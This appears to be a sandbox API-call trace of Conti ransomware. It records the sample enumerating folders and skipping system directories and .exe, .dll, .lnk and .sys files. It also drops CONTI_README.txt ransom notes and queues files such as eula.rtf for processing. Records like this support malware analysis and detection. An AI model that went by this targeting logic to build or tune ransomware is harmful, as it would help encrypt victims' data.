	[0093.852] lstrcmpiW (lpString1="2052", lpString2="System Volume Information") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="Program Files") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="Program Files (x86)") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="Boot") returned -1
	[0093.852] lstrcmpiW (lpString1="2052", lpString2="Windows") returned -1
	[0093.852] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.852] lstrlenW (lpString="2052") returned 4
	[0093.852] GetProcessHeap () returned 0x1720000
	[0093.852] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e4b0
	[0093.852] lstrcpyW (in: lpString1=0x175e4b0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.852] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.852] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="2052" | out: lpString1="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0093.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052") returned 26
	[0093.852] GetProcessHeap () returned 0x1720000
	[0093.852] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x17346c0
	[0093.852] lstrcpyW (in: lpString1=0x17346c0, lpString2="C:\\588bce7c90097ed212\\2052" | out: lpString1="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0093.852] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\2052\\*") returned="C:\\588bce7c90097ed212\\2052\\*"
	[0093.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052") returned 26
	[0093.852] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.852] GetProcessHeap () returned 0x1720000
	[0093.852] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c0550
	[0093.852] lstrcpyW (in: lpString1=0x17c0550, lpString2="C:\\588bce7c90097ed212\\2052" | out: lpString1="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0093.852] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0093.852] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\2052\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\2052\\CONTI_README.txt"
	[0093.853] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.860] GetProcessHeap () returned 0x1720000
	[0093.860] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0550 | out: hHeap=0x1720000) returned 1
	[0093.860] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.860] CloseHandle (hObject=0x338) returned 1
	[0093.861] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc86f3b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e4f0
	[0093.861] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.861] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc86f3b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.861] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.861] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.861] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc86f3b, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bc86f3b, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bc86f3b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.861] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.861] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.861] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.861] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.861] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.861] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.861] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.861] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052") returned 26
	[0093.861] lstrlenW (lpString="eula.rtf") returned 8
	[0093.861] GetProcessHeap () returned 0x1720000
	[0093.861] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d0a8
	[0093.861] lstrcpyW (in: lpString1=0x173d0a8, lpString2="C:\\588bce7c90097ed212\\2052" | out: lpString1="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0093.862] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0093.862] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf"
	[0093.862] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d61c0) returned 1
	[0093.862] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.862] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.862] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.862] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052") returned 26
	[0093.862] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.862] GetProcessHeap () returned 0x1720000
	[0093.862] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0b28
	[0093.862] lstrcpyW (in: lpString1=0x17c0b28, lpString2="C:\\588bce7c90097ed212\\2052" | out: lpString1="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052"
	[0093.862] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0093.862] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml"
	[0093.862] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3668) returned 1
	[0093.862] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.863] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.863] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.863] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.863] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.863] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.863] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.863] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.863] GetProcessHeap () returned 0x1720000
	[0093.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17346c0 | out: hHeap=0x1720000) returned 1
	[0093.863] FindClose (in: hFindFile=0x175e4f0 | out: hFindFile=0x175e4f0) returned 1
	[0093.863] GetProcessHeap () returned 0x1720000
	[0093.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e4b0 | out: hHeap=0x1720000) returned 1
	[0093.863] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="2070", cAlternateFileName="")) returned 1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2=".") returned 1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="..") returned 1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="tmp") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="winnt") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="Application Data") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="AppData") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="temp") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="thumb") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="$Recycle.Bin") returned 1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="$RECYCLE.BIN") returned 1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="System Volume Information") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="Program Files") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="Program Files (x86)") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="Boot") returned -1
	[0093.863] lstrcmpiW (lpString1="2070", lpString2="Windows") returned -1
	[0093.863] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.863] lstrlenW (lpString="2070") returned 4
	[0093.863] GetProcessHeap () returned 0x1720000
	[0093.863] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e5f0
	[0093.863] lstrcpyW (in: lpString1=0x175e5f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.864] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.864] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="2070" | out: lpString1="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0093.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070") returned 26
	[0093.864] GetProcessHeap () returned 0x1720000
	[0093.864] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734708
	[0093.864] lstrcpyW (in: lpString1=0x1734708, lpString2="C:\\588bce7c90097ed212\\2070" | out: lpString1="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0093.864] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\2070\\*") returned="C:\\588bce7c90097ed212\\2070\\*"
	[0093.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070") returned 26
	[0093.864] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.864] GetProcessHeap () returned 0x1720000
	[0093.864] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c0550
	[0093.864] lstrcpyW (in: lpString1=0x17c0550, lpString2="C:\\588bce7c90097ed212\\2070" | out: lpString1="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0093.864] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0093.864] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\2070\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\2070\\CONTI_README.txt"
	[0093.864] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0093.907] GetProcessHeap () returned 0x1720000
	[0093.907] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0550 | out: hHeap=0x1720000) returned 1
	[0093.907] WriteFile (in: hFile=0x350, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.908] CloseHandle (hObject=0x350) returned 1
	[0093.908] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bcf9571, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e6f0
	[0093.908] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.908] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bcf9571, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.908] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.908] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.908] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcad2ec, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bcad2ec, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bcf9571, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.908] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.908] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.908] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.908] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.908] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.908] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.908] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.908] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.909] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.909] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.909] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.909] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.909] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.909] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.909] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070") returned 26
	[0093.909] lstrlenW (lpString="eula.rtf") returned 8
	[0093.909] GetProcessHeap () returned 0x1720000
	[0093.909] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d1e8
	[0093.909] lstrcpyW (in: lpString1=0x173d1e8, lpString2="C:\\588bce7c90097ed212\\2070" | out: lpString1="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0093.909] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0093.909] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf"
	[0093.909] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2428) returned 1
	[0093.909] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.909] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.909] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.909] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070") returned 26
	[0093.909] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.909] GetProcessHeap () returned 0x1720000
	[0093.910] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c05e0
	[0093.910] lstrcpyW (in: lpString1=0x17c05e0, lpString2="C:\\588bce7c90097ed212\\2070" | out: lpString1="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0093.910] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0093.910] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml"
	[0093.910] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2d48) returned 1
	[0093.910] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.910] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.910] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.910] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.910] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.910] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.910] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.910] FindNextFileW (in: hFindFile=0x175e6f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.910] GetProcessHeap () returned 0x1720000
	[0093.910] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734708 | out: hHeap=0x1720000) returned 1
	[0093.910] FindClose (in: hFindFile=0x175e6f0 | out: hFindFile=0x175e6f0) returned 1
	[0093.910] GetProcessHeap () returned 0x1720000
	[0093.910] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e5f0 | out: hHeap=0x1720000) returned 1
